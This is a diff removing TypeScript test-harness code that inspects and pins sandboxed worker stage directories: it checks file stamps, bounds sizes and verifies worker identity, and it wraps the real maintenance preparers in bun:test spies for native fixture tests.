- const path=join(reader.root,row.path); - try{ - const fd=openSync(path,0x200000|constants.O_NOFOLLOW); - try{const info=fstatSync(fd,{bigint:true});if(`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`!==row.stamp||(Number(info.mode)&0o7777)!==row.mode||String(info.ino)!==row.inode)throw Error("Stage entry changed");return fixtureDescriptorKey(fd);}finally{closeSync(fd);} - }catch(error){ - if((error as NodeJS.ErrnoException).code!=="EACCES"||!reader.inspect)throw error; - const evidence=reader.inspect(row.path,row.stamp,row.inode);verifyStageMetadataEvidence(evidence,reader,row.kind,row.stamp,row.kind==="symlink"?[0,13,40]:[0,13]); - if(evidence.mode!==row.mode)throw Error("Stage mode changed"); - const [ino,size,mtime,ctime]=row.stamp.split(":"),kind=row.kind==="file"?0o100000:row.kind==="directory"?0o040000:row.kind==="symlink"?0o120000:undefined; - if(kind===undefined||size!==String(row.bytes))throw Error("Unproven stage entry key"); - return [evidence.dev,ino,size,mtime,ctime,kind|evidence.mode,evidence.uid,evidence.gid,evidence.nlink,evidence.mountId].join(":"); - } -} -function recheckMutableFixtureFinding(finding:{key:string;path:string;hash:string;fd?:number}):boolean { - if(fixturePathKey(finding.path)!==finding.key)return false; - if(finding.fd!==undefined&&fixtureDescriptorKey(finding.fd)!==finding.key)return false; - if(!guardExecutionCheck||fixtureValidatedFindings?.has(finding))return true; - const hash=finding.fd===undefined?fileHash(finding.path):fixtureDescriptorHash(finding.fd).hash; - if(hash!==finding.hash||fixturePathKey(finding.path)!==finding.key)return false; - fixtureValidatedFindings?.add(finding);return true; -} -function keeperCheckedFile(path:string,keeper:KeeperInspection|undefined):boolean { - if(!keeper?.managed)return false;const finding=inPlaceFixtureFiles.get(path)?.get(keeper.snapshot);return finding!==undefined&&recheckMutableFixtureFinding(finding); -} -/** Canonical names prove containment; reads stay on the pinned reachable view. */ -function inspectionAccessPath(path:string,keeper:KeeperInspection|undefined):string { - const view=stageLinkContext.getStore();if(view&&view.snapshot===keeper?.snapshot)path=view.access.get(path)??path; - const real=realpathSync(path); - if(keeper?.ordinary){for(const root of keeper.bindSources.values())if(within(root,path)&&within(realpathSync(root),real))return path;} - const finding=keeper?.managed?inPlaceFixtureFiles.get(real)?.get(keeper.snapshot):undefined; - if(finding){if(!recheckMutableFixtureFinding(finding))throw Error("In-place fixture entry changed");return finding.path;} - return real; -} - - -const stageOpaqueNodes=new WeakMap,OpaqueStageNode[]>(); -export async function captureNativeFixtureStage(manager:Pick,"listStage"|"statStage"|"readStage">,id:string,uid:number,maximum:number,snapshot:string,reader?:StageReaderIdentity):Promise> { - const inspect=()=>captureNativeFixtureStageInspected(manager,id,uid,maximum,snapshot,reader); - return fixtureManagerPin(manager as object)?guardTimingAsync("stage-inspection",inspect):inspect(); -} -async function captureNativeFixtureStageInspected(manager:Pick,"listStage"|"statStage"|"readStage">,id:string,uid:number,maximum:number,snapshot:string,reader?:StageReaderIdentity):Promise> { - let count=0,total=0,activeReaders=0,peakReaders=0,peakBufferedBytes=0,bufferedBytes=0,inPlaceFiles=0,copiedFiles=0,reusedPrivateFiles=0; - let failure:unknown,failed=false;const cancellations=new Set<()=>Promise>(),queue:(()=>Promise)[]=[],pending=new Set>(); - const check=()=>{if(failed)throw failure;}; - const fail=(error:unknown)=>{if(!failed){failed=true;failure=error;for(const cancel of cancellations)void cancel().catch(()=>{});}}; - const pump=()=>{while(!failed&&queue.length&&pending.size<3){const job=queue.shift()!;let task:Promise;task=Promise.resolve().then(async()=>{const release=await stageCaptureSlot();try{check();await job();}finally{release();}}).catch(fail).finally(()=>pending.delete(task));pending.add(task);}}; - const links=new Map(),keys=new Map(),stamps=new Map(),opaque:OpaqueStageNode[]=[],directories:{path:string;kind:string;mode:number;stamp:string;bytes:number;inode:string}[]=[]; - const markOpaque=(row:{path:string;kind:string;stamp:string;mode:number},error:unknown):boolean=>{ - if(!reader||(error as NodeJS.ErrnoException).code!=="EACCES"||!["file","directory"].includes(row.kind))return false; - if(row.kind==="file"&&(row.mode&0o111)&&/^(?:\.git\/hooks\/|\.brain-maintenance-git-[0-9a-f-]+\/)/.test(row.path))throw Error("Uninspectable prepared executable"); - const original=join(reader.root,row.path),node=opaqueStageNode(original,row.path,row.kind as "file"|"directory",row.stamp,reader); - const target=join(snapshot,row.path);if(row.kind==="file")writeFileSync(target,Buffer.alloc(0),{mode:0o000,flag:"wx"}); - opaque.push(node); - nativeReceipt({kind:"native-fixture-opaque-input",head:nativeTestHead(),state:"unknown",reason:"worker denied read and execute/search"});return true; - }; - - if(!Number.isSafeInteger(maximum)||maximum<=0)throw Error("Invalid stage inspection bound"); - const walk=async(relative:string,depth:number):Promise=>{ - if(depth>256)throw Error("Stage inspection depth exceeded"); - check();const rows=await manager.listStage(id,relative,uid),names=new Set();check(); - for(const row of rows){ - if(++count>200000)throw Error("Stage inspection entry bound exceeded"); - const name=row.path.slice(relative?relative.length+1:0); - if(!name||name==="."||name===".."||name.includes("/")||name.includes("\0")||names.has(name)||row.path!==(relative?relative+"/":"")+name)throw Error("Invalid stage inspection name");names.add(name); - if(row.kind==="file"){if(!Number.isSafeInteger(row.bytes)||row.bytes<0||total+row.bytes>maximum)throw Error("Stage inspection byte bound exceeded");total+=row.bytes;} - stamps.set(row.path,row.stamp); - queue.push(async()=>{check(); - const before=await manager.statStage(id,row.path,uid); - if(!before||before.stamp!==row.stamp||before.kind!==row.kind)throw Error("Stage inspection changed"); - const entryKey=reader?stageMetadataKey(row,reader):undefined;if(entryKey)keys.set(row.path,entryKey); - let inspectedBytes:Buffer|undefined;const target=join(snapshot,row.path); - if(row.kind==="directory"){mkdirSync(target,{mode:0o700});try{await walk(row.path,depth+1);}catch(error){if(!markOpaque(row,error))throw error;}directories.push(row);return;} - else if(row.kind==="symlink"){if(typeof row.target!=="string")throw Error("Invalid stage symlink");links.set(row.path,row.target);symlinkSync(row.target,target);} - else if(row.kind==="file"){ - const source=reader?join(reader.root,row.path):undefined; - const useInPlace=():boolean=>{ - if(!source||!entryKey)return false; - let fd:number|undefined; - try{fd=openSync(source,constants.O_RDONLY|constants.O_NOFOLLOW|constants.O_NONBLOCK); - if(fixtureDescriptorKey(fd)!==entryKey)throw Error("Stage entry changed");const finding=fixtureDescriptorHash(fd); - if(inspectedBytes&&createHash("sha256").update(inspectedBytes).digest("hex")!==finding.hash)throw Error("Stage reader bytes changed"); - if(stageMetadataKey(row,reader!)!==entryKey)throw Error("Stage entry changed"); - symlinkSync(source,target);const real=realpathSync(source),owners=inPlaceFixtureFiles.get(real)??new Map();const retained=fixtureManagerPin(manager as object)?fd:undefined;owners.set(snapshot,{key:entryKey,path:source,hash:finding.hash,fd:retained});if(retained!==undefined)fd=undefined;inPlaceFixtureFiles.set(real,owners);inPlaceFiles++;return true; - }catch(error){if((error as NodeJS.ErrnoException).code!=="EACCES")throw error;return false;}finally{if(fd!==undefined)closeSync(fd);} - }; - { - let copy:Awaited>;try{copy=await manager.readStage(id,row.path,Math.max(1,row.bytes),uid);}catch(error){if(markOpaque(row,error)){const after=await manager.statStage(id,row.path,uid);if(!after||after.stamp!==row.stamp)throw Error("Stage inspection changed");return;}throw error;}const reader=copy.stream.getReader(),pieces:Uint8Array[]=[];let bytes=0;const cancel=()=>reader.cancel();cancellations.add(cancel);activeReaders++;peakReaders=Math.max(peakReaders,activeReaders); - try{check();for(;;){const part=await reader.read();check();if(part.done)break;bytes+=part.value.byteLength;bufferedBytes+=part.value.byteLength;peakBufferedBytes=Math.max(peakBufferedBytes,bufferedBytes);if(bytes>row.bytes)throw Error("Stage inspection file grew");pieces.push(part.value);} - const receipt=await copy.completed;if(bytes!==row.bytes||receipt.bytes!==bytes||receipt.workerUid!==uid||copy.workerUid!==uid)throw Error("Stage inspection reader receipt changed"); - const inspected=Buffer.concat(pieces,bytes);inspectedBytes=inspected;if(!useInPlace()){writeFileSync(target,inspected,{mode:row.mode,flag:"wx"});copiedFiles++;}inspectedBytes=inspected; - }catch(error){if(!markOpaque(row,error))throw error;}finally{await reader.cancel().catch(()=>{});await copy.completed.catch(()=>{});cancellations.delete(cancel);activeReaders--;bufferedBytes-=bytes;} - } - }else throw Error("Unsupported stage inspection node"); - const after=await manager.statStage(id,row.path,uid);if(!after||after.stamp!==row.stamp)throw Error("Stage inspection changed"); - if(reader&&stageMetadataKey(row,reader)!==entryKey)throw Error("Stage full entry key changed"); - check();if(row.kind==="file"||row.kind==="symlink")assertPreparedFixtureExecutable(row.path,target,row.mode); - }); - } - }; - try{await walk("",0);while(queue.length||pending.size){pump();if(!pending.size)break;await Promise.race(pending);}check();for(const row of directories.reverse()){const after=await manager.statStage(id,row.path,uid);if(!after||after.stamp!==row.stamp)throw Error("Stage inspection changed");if(reader&&stageMetadataKey(row,reader)!==keys.get(row.path))throw Error("Stage full directory key changed");chmodSync(join(snapshot,row.path),row.mode);}} - catch(error){fail(error);} - finally{queue.length=0;await Promise.allSettled([...cancellations].map(cancel=>cancel()));await Promise.allSettled([...pending]); - nativeReceipt({kind:"native-fixture-inspection-resources",head:nativeTestHead(),readerLimit:3,peakReaders,peakBufferedBytes,inPlaceFiles,copiedFiles,reusedPrivateFiles,processMaxRssKiB:process.resourceUsage().maxRSS,drained:activeReaders===0,success:!failed});} - check(); - // Absolute targets remain pending until the actual launch's bind operands - // establish their registered final-view mapping. No launch uses that pending state. - const linkView={root:reader?.root??snapshot,links,entries:new Set(stamps.keys()),opaque}; - inspectStageLinkTargets(snapshot,linkView,resolveNativeStageLinks(linkView)); - if(fixtureManagerPin(manager as object))stageLinkViews.set(snapshot,linkView); - stageEntryLinks.set(stamps,links);stageOpaqueNodes.set(stamps,opaque);stageEntryKeys.set(stamps,keys); - stageEntryHashes.set(stamps,new Map([...stamps.keys()].filter(path=>{if(opaque.some(node=>node.path===path||path.startsWith(node.path+"/")))return false;try{return lstatSync(join(snapshot,path)).isFile()||inPlaceFixtureFiles.get(realpathSync(join(snapshot,path)))?.has(snapshot);}catch{return false;}}).map(path=>{const finding=inPlaceFixtureFiles.get(realpathSync(join(snapshot,path)))?.get(snapshot);return [path,finding?.hash??fileHash(join(snapshot,path))];}))); - return stamps; -} -const usedManagedKeepers=new WeakSet(); -const ordinaryManagedStages=new WeakMap(); -/** Source-discovered stage layout; overlay bookkeeping never becomes an input role. */ -export function nativeStageDirectoryRoles():{layout:string[];bindSources:string[]} { - const stage=readFileSync(join(ROOT,"packages/ui-sdk/src/server/native-brain-stage.ts"),"utf8"),git=readFileSync(join(ROOT,"packages/ui-server/src/brain/maintenance-git.ts"),"utf8"); - const layout=/for name in \(([^)]+)\):\n os\.mkdir/.exec(stage),adapter=/const root = join\(dirname\(outputs\.output\.source\), "([^"]+)"\)/.exec(git); - if(!layout||!adapter)throw Error("Production stage layout unavailable"); - const names:unknown=JSON.parse("["+layout[1]+"]");if(!Array.isArray(names)||!names.every(name=>typeof name==="string"&&/^[a-z-]+$/.test(name))||!names.includes("merged")||adapter[1]!=="git-adapter")throw Error("Production stage layout changed"); - return {layout:[...names,adapter[1]],bindSources:["merged",adapter[1]]}; -} -/** Called only with the real maintenance-Git preparation's returned spec. */ -export function registerNativeFixtureMaintenanceGit(storage:object,view:object,spec:{source:string;target:string}):void { - const owner=ordinaryManagedStages.get(storage);if(!owner||owner.view!==view)refuse("ordinary managed fixture Git owner unavailable");owner.git(spec); -} -/** Metadata only; bytes are copied by the ordinary same-UID inspection path. */ -function ordinaryStageManifest(root:string,maximum:number):string { - const rows:string[]=[];let entries=0,bytes=0; - if(!Number.isSafeInteger(maximum)||maximum<=0)throw Error("Invalid stage inspection bound"); - const visit=(path:string)=>{ - if(++entries>200000)throw Error("Stage inspection entry bound exceeded"); - const info=lstatSync(path,{bigint:true}),key=fixturePathKey(path); - if(!info.isDirectory()&&!info.isFile()&&!info.isSymbolicLink())throw Error("Unsupported stage node"); - if(info.isFile()){bytes+=Number(info.size);if(bytes>maximum)throw Error("Stage inspection byte bound exceeded");} - const hash=info.isFile()?fileHash(path):info.isSymbolicLink()?readlinkSync(path):""; - if(info.isFile())assertPreparedFixtureExecutable(path.slice(root.length+1),path,Number(info.mode)); - if(fixturePathKey(path)!==key)throw Error("Stage changed during inspection"); - rows.push(`${path.slice(root.length)}:${key}:${hash}`); - if(info.isDirectory())for(const name of readdirSync(path).sort())visit(join(path,name)); - }; - visit(root);return JSON.stringify(rows); -} - -type FixtureProbeContext={definitionHash:string;brain:string;view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView;storage?:object;family?:"index"|"git";maximum?:number}; -const fixtureProbeContext=new AsyncLocalStorage(); -const metadataProbeMaskPlans=new WeakSet(); -/** Literal command and index-preparer shape are read from the same real producer. */ -export function nativeFixtureProbeCommands():{qualification:string[];index:string[];git:string[];definitionHash:string} { - const source=readFileSync(join(ROOT,"packages/ui-sdk/src/server/maintenance-worker.ts"),"utf8"),start=source.indexOf("export async function probeNativeMaintenanceWorker("); - const command=/command: \["\/bin\/sh", "-c", '([^']+)'\]/.exec(source.slice(start)); - if(start<0||!command||!source.includes('command: [process.execPath, "--config=/dev/null", "--no-env-file", entry, String(preparation.maximum)]')||!source.includes('Bun.resolveSync("./maintenance-index-input", import.meta.dir)')||!source.includes('Bun.resolveSync("./maintenance-git-input", import.meta.dir)')||!source.includes('String(preparation.manifest.maximum)')||!metadataRuntime)throw Error("Production maintenance probe chain changed"); - return {definitionHash:createHash("sha256").update(source).update(readFileSync(join(ROOT,"packages/ui-sdk/src/server/maintenance-index-input.ts"))).update(readFileSync(join(ROOT,"packages/ui-sdk/src/server/maintenance-git-input.ts"))).digest("hex"),git:[metadataRuntime.path,"--config=/dev/null","--no-env-file",realpathSync(join(ROOT,"packages/ui-sdk/src/server/maintenance-git-input.ts"))],qualification:["/bin/sh","-c",command[1]!],index:[metadataRuntime.path,"--config=/dev/null","--no-env-file",realpathSync(join(ROOT,"packages/ui-sdk/src/server/maintenance-index-input.ts"))]}; -} -function fixtureProbeCommand(command:readonly string[],allowance:number):boolean { - const row=nativeFixtureProbeCommands(),context=fixtureProbeContext.getStore(),expected=context?.family==="git"?row.git:row.index; - return !context?.family&&JSON.stringify(command)===JSON.stringify(row.qualification)||command.length===5&&command.slice(1,4).every((word,i)=>word===expected[i+1])&&command[4]===String(context?.maximum??allowance)&&resolveExecutable(command[0]!,{})===expected[0]; -} -type GuardIdentityQualification={uid:number;gid:number;storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage}; -const guardIdentityQualification=new AsyncLocalStorage(); -const guardQualifiedTickets=new Map(); -let privateWorkerLauncher:Promise|undefined; -const qualificationDirectories=new Set(); -process.prependOnceListener("exit",()=>{for(const directory of qualificationDirectories)rmSync(directory,{recursive:true,force:true});}); -async function qualifyFixtureStagePrivately(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView):Promise{ - const reason="ticketed fixture identity requalification failed"; - try{ - if(storage.identityTicketFd===undefined||!realFixturePreparers)throw Error("Missing sealed ticket"); - const fd=storage.identityTicketFd,info=fstatSync(fd,{bigint:true}),bytes=readFileSync(`/proc/self/fd/${fd}`),ticket=JSON.parse(bytes.toString("utf8")); - if(!info.isFile()||info.uid!==0n||info.nlink!==0n||(info.mode&0o777n)!==0o444n||bytes.length>65536||ticket.kind!=="brain-worker-stage"||ticket.id!==basename(storage.mount)||ticket.appUid!==nativeKernelIdentity().uid||ticket.keeper.pid!==storage.namespacePid||ticket.keeper.start!==storage.namespaceStart||ticket.root.path!==join(storage.mount,"merged"))throw Error("Stage ticket differs"); - const pin=()=>{const now=fstatSync(fd,{bigint:true}),root=statSync(join(storage.root,"merged"),{bigint:true}),ns=statSync(`/proc/${storage.namespacePid}/ns/mnt`,{bigint:true});if(now.dev!==info.dev||now.ino!==info.ino||!readFileSync(`/proc/self/fd/${fd}`).equals(bytes)||processStart(storage.namespacePid)!==ticket.keeper.start||String(ns.ino)!==ticket.keeper.mountNamespaceInode||String(root.dev)!==ticket.root.dev||String(root.ino)!==ticket.root.ino)throw Error("Stage ticket expired");return `${now.dev}:${now.ino}:${ticket.keeper.pid}:${ticket.keeper.start}:${ns.ino}:${root.dev}:${root.ino}`;}; - const identity=pin(),prior=guardQualifiedTickets.get(identity);if(prior){if(prior.pin!==identity||prior.uid===undefined)throw Error("Stage qualification expired");return prior.uid;} - const attempt:{pin:string;uid?:number}={pin:identity};guardQualifiedTickets.set(identity,attempt); - const native=(createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts") as typeof import("../packages/ui-sdk/src/server/worker-startup-view")).nativeWorkerStartupInput(view),options=fixtureManagerConnection(native.manager);if(!options)throw Error("Unobserved manager"); - let channel=stageMetadataChannels.get(storage);if(channel&&!channel.matches(ticket))throw Error("Wrong metadata handle");channel??=await connectNativeStageMetadata(nativeStageMetadataSocket(options.socketPath,ticket.id),ticket);stageMetadataChannels.set(storage,channel); - const root=lstatSync(join(storage.root,"merged"),{bigint:true}),stamp=`${root.ino}:${root.size}:${root.mtimeNs}:${root.ctimeNs}`,evidence=channel.inspect("",stamp,String(root.ino)),uid=evidence.worker.readerUid; - if(!Number.isSafeInteger(uid)||uid<=0||uid===ticket.appUid)throw Error("Unproven private reader");verifyStageMetadataEvidence(evidence,{uid,gids:[ticket.appGid]},"directory",stamp,[0,13]); - const source=join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts");if(createHash("sha256").update(readFileSync(source)).digest("hex")!==realFixturePreparers.real.hostSource)throw Error("Qualification source changed"); - privateWorkerLauncher??=import(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts")+`?native-guard-qualification=${crypto.randomUUID()}`); - const privateLauncher=await privateWorkerLauncher;if(privateLauncher.verifiedWorkerIdentity===realFixturePreparers.launcher.verifiedWorkerIdentity||Function.prototype.toString.call(privateLauncher.probeWorkerHost)!==Function.prototype.toString.call(realFixturePreparers.real.hostProbe))throw Error("Qualification cache is shared"); - const productBefore=JSON.stringify(realFixturePreparers.launcher.verifiedWorkerIdentity(view.brain)); - const directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-guard-qualification-"));qualificationDirectories.add(directory);chmodSync(directory,0o2770); - let result:ReturnType; - try{result=guardIdentityQualification.run({uid,gid:ticket.appGid,storage},()=>privateLauncher.probeWorkerHost(directory,{profile:"governed",stateBytes:1024**2,turnTempBytes:1024**2}));} - finally{rmSync(directory,{recursive:true,force:true});qualificationDirectories.delete(directory);} - if(JSON.stringify(realFixturePreparers.launcher.verifiedWorkerIdentity(view.brain))!==productBefore)throw Error("Product qualification cache changed"); - if(!result.ok||result.identity!=="separate_uid"||result.workerUid!==uid||pin()!==identity||fixtureManagerConnection(native.manager)!==options)throw Error("Private qualification failed"); - attempt.uid=uid;nativeReceipt({kind:"native-fixture-identity-requalification",head:nativeTestHead(),state:"qualified",cache:"guard-private",stageBound:true});return uid; - }catch{return refuse(reason);} -} -type ManagedFixtureStorage=import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage; -type ManagedFixtureView=import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView; -type ManagedFixtureLease={storage:ManagedFixtureStorage;view:ManagedFixtureView;areas:readonly string[];preparationAreas:Set;scope:ScriptedAuthority|undefined;closed:boolean;dispose():void}; -const managedFixtureLeases=new WeakMap(); -const stageMetadataChannels=new WeakMap>>(); -/** Public registration has no refresh operation. Only real preparation observers renew it. */ -export async function registerNativeFixtureManagedKeeper(storage:ManagedFixtureStorage,view:ManagedFixtureView,areas:readonly string[]=[]):Promise<()=>void>{ - let manager:object|undefined; - try{manager=(createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts") as typeof import("../packages/ui-sdk/src/server/worker-startup-view")).nativeWorkerStartupInput(view).manager;}catch{/* Existing view validation retains its own refusal. */} - if(manager&&fixtureManagerOptions.has(manager)&&!fixtureManagerPin(manager))refuse("managed fixture manager provenance expired"); - const probe=fixtureProbeContext.getStore();if(probe){if(probe.brain!==view.brain||probe.view.root!==view.root||areas.length||probe.storage&&probe.storage!==storage)refuse("metadata-only probe owner differs");probe.storage=storage;} - const inspectionStarted=performance.now();const dispose=await createNativeFixtureManagedKeeper(storage,view,areas);nativeReceipt({kind:"native-fixture-inspection-timing",head:nativeTestHead(),phase:"initial",ms:Math.round(performance.now()-inspectionStarted)});const lease:ManagedFixtureLease={storage,view,areas:[...areas],preparationAreas:new Set(),scope:scriptedRoute.getStore(),closed:false,dispose};managedFixtureLeases.set(storage,lease); - return ()=>{if(lease.closed)return;lease.closed=true;managedFixtureLeases.delete(storage);try{lease.dispose();}finally{stageMetadataChannels.get(storage)?.close();stageMetadataChannels.delete(storage);}}; -} -let preparationObservers=0,stopPreparationObservers:(()=>void)|undefined; -/** Transparent observation; successful real preparers are the sole source of renewal events. */ -export function observeNativeFixturePreparations():()=>void { - if(preparationObservers===0){ - // Capture every real factory before installing any observer. A failed load - // cannot leave a fixture running without its declared observation. - try{realFixtureLeaseManager??=loadFixtureLeaseManager();realFixturePreparers??=loadFixturePreparers();if(typeof realFixtureLeaseManager.create!=="function"||Object.entries(realFixturePreparers.real).some(([name,value])=>name!=="hostSource"&&typeof value!=="function"))throw Error("Incomplete real fixture factories");} - catch{return refuse("real fixture factory capture failed");} - if(!realFixtureLeaseManager||!realFixturePreparers)return refuse("real fixture factory capture failed"); - const {spyOn}=createRequire(import.meta.url)("bun:test") as typeof import("bun:test"),{output,maintenance,real}=realFixturePreparers; - type Event={lease:ManagedFixtureLease;family:"index"|"git";used:boolean}; - const preparations=new WeakMap(),pending=new WeakMap(); - const remember=(preparation:object|undefined,input:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch,family:Event["family"])=>{const storage=input.maintenance?.output?.storage,lease=storage&&managedFixtureLeases.get(storage);if(preparation&&lease){if(input.startupView!==lease.view||lease.closed||scriptedRoute.getStore()!==lease.scope)refuse("fixture preparation owner differs");preparations.set(preparation,{lease,family,used:false});}}; - const enterPreparer=async(preparation:object|undefined,input:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch,family:Event["family"],maximum:number|undefined)=>{ - const storage=input.maintenance?.output?.storage,lease=storage&&managedFixtureLeases.get(storage),context=fixtureProbeContext.getStore(); - if(!preparation||!lease||!context?.family)return; - if(context.family!==family||context.storage!==storage||!Number.isSafeInteger(maximum)||maximum===undefined||maximum<=0||lease.closed||input.startupView!==lease.view||scriptedRoute.getStore()!==lease.scope)refuse("fixture preparer owner differs"); - context.maximum=maximum;lease.dispose();usedManagedKeepers.delete(storage!); - try{lease.dispose=await createNativeFixtureManagedKeeper(lease.storage,lease.view,[]);}finally{usedManagedKeepers.add(storage!);} - }; - const retirePreparation=(input:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch)=>{ - const storage=input.maintenance?.output?.storage,lease=storage&&managedFixtureLeases.get(storage); - const context=fixtureProbeContext.getStore(); - // A product preflight rejection has not consumed the existing inspection. - // Retire only after the real preparer entered its temporary inspection. - if(lease&&context?.family&&context.maximum!==undefined){lease.dispose();lease.dispose=()=>{};} - }; - const preparationContext=(input:Parameters[0],family:Event["family"]):FixtureProbeContext|undefined=>{ - if(fixtureProbeContext.getStore())return fixtureProbeContext.getStore(); - const storage=input.output?.storage,lease=storage&&managedFixtureLeases.get(storage),keeper=storage&&fixtureKeepers.get(storage.namespacePid); - if(!lease||!keeper?.managed||keeper.ordinary)return; - // Invalid product requests must reach the product's own pre-launch refusal. - if(lease.closed||input.startupView!==lease.view||scriptedRoute.getStore()!==lease.scope)return; - return {definitionHash:nativeFixtureProbeCommands().definitionHash,brain:lease.view.brain,view:lease.view,storage,family}; - }; - const completed=(preparation:object)=>{const event=preparations.get(preparation);if(!event)return;preparations.delete(preparation);if(event.used||event.lease.closed||pending.has(event.lease.storage))refuse("fixture preparation event was replayed");pending.set(event.lease.storage,event);}; - const renew=async(input:Parameters[0],family:Event["family"],git?:NonNullable[0]["git"]>)=>{ - const storage=input.output?.storage,event=storage&&pending.get(storage);if(!event||event.family!==family)return; - const lease=event.lease;if(event.used||lease.closed||managedFixtureLeases.get(storage!)!==lease||input.startupView!==lease.view||scriptedRoute.getStore()!==lease.scope)refuse("fixture preparation owner differs"); - if(git){ - const root=join(lease.storage.root,"merged"),relative=git.source.slice(root.length+1); - if(family!=="git"||git.target!=="/tmp/brain-maintenance-git"||git.source!==join(root,relative)||!/^\.brain-maintenance-git-[0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12}$/.test(relative))refuse("fixture preparation owner differs"); - const producer=readFileSync(join(ROOT,"packages/ui-sdk/src/server/worker-native-output.ts"),"utf8"),scaffolds=/for \(const name of (\["hooks", "info", "modules"\]) as const\)/.exec(producer); - if(!scaffolds||!producer.includes('native.manager.statStage(id, ".git", uid, signal)'))refuse("fixture Git scaffold producer changed"); - lease.preparationAreas.add(relative);lease.preparationAreas.add(".git"); - for(const name of JSON.parse(scaffolds[1]!) as string[])lease.preparationAreas.add(`.git/${name}`); - } - const inspectionStarted=performance.now();event.used=true;pending.delete(storage!);lease.dispose();usedManagedKeepers.delete(storage!); - try{lease.dispose=await createNativeFixtureManagedKeeper(lease.storage,lease.view,[...lease.areas,...lease.preparationAreas],lease.preparationAreas);nativeReceipt({kind:"native-fixture-inspection-renewed",head:nativeTestHead(),family,state:"fresh",ms:Math.round(performance.now()-inspectionStarted)});} - catch(error){lease.closed=true;managedFixtureLeases.delete(storage!);stageMetadataChannels.get(storage!)?.close();stageMetadataChannels.delete(storage!);throw error;} - finally{usedManagedKeepers.add(storage!);} - }; - const leaseFactory=realFixtureLeaseManager; - const observers=[ - ...(leaseFactory?[spyOn(leaseFactory.leases,"createNativeBrainLeaseManager").mockImplementation(async(...args)=>{ - const pin=fixtureManagerPin(args[0]),value=await leaseFactory.create(...args); - // Only the actual result of the pinned real factory inherits this exact raw pin. - if(pin&&fixtureManagerPin(args[0])===pin){ - if(value.client===args[0])refuse("fixture lease client identity differs"); - let active=true;fixtureManagerOptions.set(value.client,pin);fixtureManagerWrappers.set(value.client,{raw:args[0],isLive:()=>active}); - const close=value.close.bind(value);value.close=()=>{active=false;return close();}; - } - return value; - })]:[]), - spyOn(maintenance,"probeNativeMaintenanceWorker").mockImplementation((...args)=>{const {definitionHash}=nativeFixtureProbeCommands();return fixtureProbeContext.run({definitionHash,brain:realpathSync(args[0]),view:args[3]},()=>real.probe(...args));}), - spyOn(output,"prepareNativeMaintenanceIndex").mockImplementation(async(...args)=>{try{const value=await real.index(...args);remember(value,args[0],"index");await enterPreparer(value,args[0],"index",value?.maximum);return value;}catch(error){retirePreparation(args[0]);throw error;}}), - spyOn(output,"finishNativeMaintenanceIndex").mockImplementation((...args)=>{const value=real.finishIndex(...args);if(args[1])completed(args[0]);return value;}), - spyOn(output,"prepareNativeMaintenanceGit").mockImplementation(async(...args)=>{try{const value=await real.git(...args);remember(value,args[0],"git");await enterPreparer(value,args[0],"git",value?.manifest.maximum);return value;}catch(error){retirePreparation(args[0]);throw error;}}), - spyOn(output,"finishNativeMaintenanceGit").mockImplementation(async(...args)=>{const value=await real.finishGit(...args);completed(args[0]);return value;}), - spyOn(maintenance,"prepareMaintenanceWorker").mockImplementation(async(...args)=>{const context=preparationContext(args[0],"index"),value=await (context?fixtureProbeContext.run(context,()=>real.worker(...args)):real.worker(...args));await renew(args[0],"index");return value;}), - spyOn(maintenance,"prepareMaintenanceGitInput").mockImplementation(async(...args)=>{const context=preparationContext(args[0],"git"),value=await (context?fixtureProbeContext.run(context,()=>real.gitInput(...args)):real.gitInput(...args));await renew(args[0],"git",value);return value;}), - ];stopPreparationObservers=()=>{for(const observer of observers.reverse())observer.mockRestore();}; - } - preparationObservers++; - let closed=false;return ()=>{if(closed)return;closed=true;if(--preparationObservers===0){stopPreparationObservers?.();stopPreparationObservers=undefined;}}; -} -/** Only a fixture's real acquired native output can declare this remote keeper. */ -async function createNativeFixtureManagedKeeper(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView,areas:readonly string[]=[],preparedTrees:ReadonlySet=new Set()):Promise<()=>void> { - return guardTimingAsync("stage-inspection",()=>createNativeFixtureManagedKeeperInspected(storage,view,areas,preparedTrees)); -} -async function createNativeFixtureManagedKeeperInspected(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView,areas:readonly string[]=[],preparedTrees:ReadonlySet=new Set()):Promise<()=>void> { - const scope=scriptedRoute.getStore(),brain=view.brain,expected=join(dirname(brain),".brain-native","stages"),probe=fixtureProbeContext.getStore(),metadataOnly=probe?.storage===storage;let closed=false; - if(typeof storage.namespaceStart!=="string"||!storage.namespaceStart)refuse("managed fixture keeper provenance is unavailable"); - if(usedManagedKeepers.has(storage))refuse("managed fixture keeper registration was already used"); - let rootIdentity:ReturnType|undefined;try{rootIdentity=statSync(storage.root);}catch{/* validate refuses */} - const validate=()=>{ - try{ - const {isManagedWorkerStartupView,isNativeWorkerStartupRoot,nativeWorkerStartupInput}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); - const manager=nativeWorkerStartupInput(view).manager;if(fixtureManagerOptions.has(manager)&&!fixtureManagerPin(manager))return false; - const brainStamp=scope?.fixtureRootStamps.get(brain),currentBrain=lstatSync(brain,{bigint:true}); - if(!brainStamp||brainStamp.dev!==currentBrain.dev||brainStamp.ino!==currentBrain.ino)return false; - 